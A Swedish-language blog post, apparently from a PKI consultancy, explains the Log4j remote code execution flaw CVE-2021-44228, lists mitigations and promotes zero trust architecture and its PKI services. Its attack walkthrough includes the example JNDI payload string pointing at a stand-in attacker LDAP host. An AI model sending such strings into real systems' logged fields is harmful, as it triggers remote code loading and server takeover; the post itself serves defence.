Under den senaste månaden har du troligtvis sett Log4j-exploiten i nyheterna. En kritisk sårbarhet för fjärrkörning av kod, CVE-2021-44228, upptäcktes i december i Apache Log4j och har påverkat miljontals servrar. Cloudflare har uppgett att företaget har spårat mer än 100 000 försök per timme att utnyttja denna sårbarhet. Microsoft har observerat att sårbarheten används av flera nationella hackergrupper från Kina, Nordkorea, Iran och Turkiet. Exploitationsförsöken var också höga under den sista veckan i december.
Vad är Log4j?
Apache Log4j är ett loggbibliotek med öppen källkod som används flitigt i nästan alla miljöer där en Java-applikation används. Detta inkluderar företagsapplikationer, molntjänster, webbapplikationer, e-posttjänster och programvara med öppen källkod. Detta bibliotek används för att logga säkerhets- och prestandainformation.
Vad är problemet?
Sårbarheten utnyttjar JNDI-sökningar (Java Naming and Directory Interface), vilka är tillåtna i standardkonfigurationen för Log4j. JNDI är ett Java API som klienter använder för att söka efter data och objekt som lagras i olika katalog- och namngivningstjänster, såsom Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS) och Remote Method Invocation (RMI).
API:et använder en sträng som indataparameter och denna indataparameter kan utnyttjas av en fjärrangripare för att exekvera godtycklig kod. Log4j sanerar inte indataparametrarna, vilket gör att en angripare kan tillhandahålla en sträng som en variabel som kan användas för att ladda och anropa en fjärransluten Java-klassfil. En angripare med möjlighet att kontrollera loggmeddelanden kan exekvera fjärrkod som laddas från LDAP-servrar när meddelandesökningsersättning är aktiverad och få full kontroll över den drabbade servern. En angripare kan utnyttja denna sårbarhet genom att följa stegen nedan:
- En angripare skapar en specialskriven sträng som innehåller den skadliga nyttolasten och skickar den till ett sårbart system. Denna sträng kan infogas i vilket som helst av fälten som systemet loggar, till exempel
- Användaragent
- Användarnamn
- Enhetsnamn eller e-postadress
- Strängen pekar på en angriparkontrollerad LDAP- eller DNS-server, till exempel
${jndi:ldap://evil-hack.com/a}.
Denna sträng skickas sedan till Log4j för loggning
- Det sårbara systemet använder JNDI för att fråga den angriparstyrda LDAP- eller DNS-servern.
- Den angriparstyrda LDAP- eller DNS-servern svarar med en fjärransluten Java-klassfil (exploit.class)
- Java-klassen laddas ner och körs.
Problemets allvarlighetsgrad
På grund av sårbarhetens natur har sårbarheten en mycket bred inverkan. Log4j används flitigt av utvecklare och för att utnyttja sårbarheten behöver en angripare bara utnyttja målsystemet för att logga ett specialskrivet meddelande. Angripare utnyttjar denna sårbarhet i stor utsträckning för kryptoutvinning och andra typer av skadlig kodattacker.
Cyberbrottslingar utnyttjar en ny sårbarhet för att dra nytta av den innan den åtgärdas. När det gäller Log4j, eftersom det används så flitigt av utvecklare i nästan alla Java-applikationer, ger det cyberbrottslingar ett större fönster att utnyttja denna sårbarhet innan organisationen kan uppdatera hela sitt nätverk och sina applikationer i nätverket.
Säkerhetsexperter har varnat för att sårbarheten på grund av Java-paketet kan finnas flera lager djupa i applikationerna och inte lätt upptäckas av skannrar. Även om sårbarheten för närvarande är inriktad på kryptoutvinning, kan den utnyttjas av allvarliga hotaktörer för att attackera värdefulla mål som finansinstitut och federala myndigheter. Angripare skannar både Windows- och Linux-system efter denna sårbarhet.
Hur kan man minska risken?
En organisation kan följa nedanstående rekommendationer för att hantera denna sårbarhet:
- För att en organisation ska kunna identifiera de berörda applikationerna och systemen måste skanningsverktyg och skript distribueras för att upptäcka sårbara system i miljön.
- Som en lösning kan JndiLookup-klassen tas bort från klasssökvägen.
- Installera motsvarande säkerhetsuppdateringar för offentliga applikationer och system omedelbart.
- Installera motsvarande säkerhetsuppdateringar för interna applikationer och system så snart som möjligt.
- Kontrollera dina nätverksperimeterloggar för tecken på kompromisser.
- Om du använder en WAF, skapa regler specifika för log4j.
- Isolera de sårbara systemen genom nätverkssegmentering eller andra metoder.
- Övervaka misstänkta aktiviteter med särskild uppmärksamhet på program som upprättar fjärranslutningar.
- Överväg att implementera nollförtroendearkitektur.
Zero Trust Architecture
En viktig del i alla attacker med skadlig kod är att angriparen använder organisationens applikationer och system mot organisationen själv. Organisationer bör överväga att implementera en nollförtroendearkitektur för att skydda organisationen från sina egna applikationer och system. Nollförtroende är en metod som säkrar en organisation genom att avvisa implicit förtroende och kontinuerligt validera varje begäran. Den bygger på principen "aldrig lita på, alltid verifiera". Varje åtkomstbegäran autentiseras, auktoriseras och krypteras först innan åtkomst till resursen ges. Nollförtroendearkitekturen bygger på tre huvudprinciper:
Verifiera uttryckligen
Autentisera och auktorisera alltid förfrågningar baserat på användaridentitet, enhet, plats, tjänst, arbetsbelastning och andra parametrar.
Använd minsta behörighet
Begränsa användarens åtkomst till endast de resurser som krävs för arbetsrollen. Använd riskbaserade policyer och dataskydd för att säkra data och system.
Anta intrång och inspektera all aktivitet
Använd analyser för att få insyn i nätverket, systemen och applikationerna, och förbättra försvaret.
Identitet har blivit den nya nätverksperimetern och verifiering av dessa identiteter är centralt för nolltrust-arkitekturen. Istället för identifiering baserad på IP-adress baseras den på att verifiera användarens identitet med hjälp av identitets- och åtkomsthantering (IAM), flerfaktorautentisering (MFA) och kryptografi med offentlig nyckel (PKI).
Utöver identitetsverifiering måste organisationer även säkerställa enhetsverifiering genom att använda certifikat och nyckelpar för att stärka organisationens säkerhet. Data måste skyddas både i vila och under överföring. Detta gör kryptering, särskilt PKI, till en viktig del i implementeringen av nolltrust-arkitektur. PKI gör det möjligt för en organisation att etablera maskinidentitet och krypterar kommunikation mellan nätverk. Organisationer kan använda PKI för att utfärda digitala certifikat till användare, maskiner, webbapplikationer och mobila enheter för att tillhandahålla säker nätverksautentisering.
Slutsats
Organisationer behöver stärka säkerheten för sina system och applikationer mot sådana sårbarheter och exploateringar, och för att göra detta måste de gå mot en nolltrust-arkitektur. Att implementera en PKI är viktigt för nolltrust-arkitekturen och för att säkerställa säker nätverksautentisering för användare, system och webbapplikationer. Encryption Consulting är ett kundfokuserat konsultföretag inom cybersäkerhet som tillhandahåller tjänster till olika kunder för att implementera och hantera PKI i deras miljöer. För att se hur vi kan hjälpa din organisation, besök vår webbplats på www.krypteringskonsulting.com.
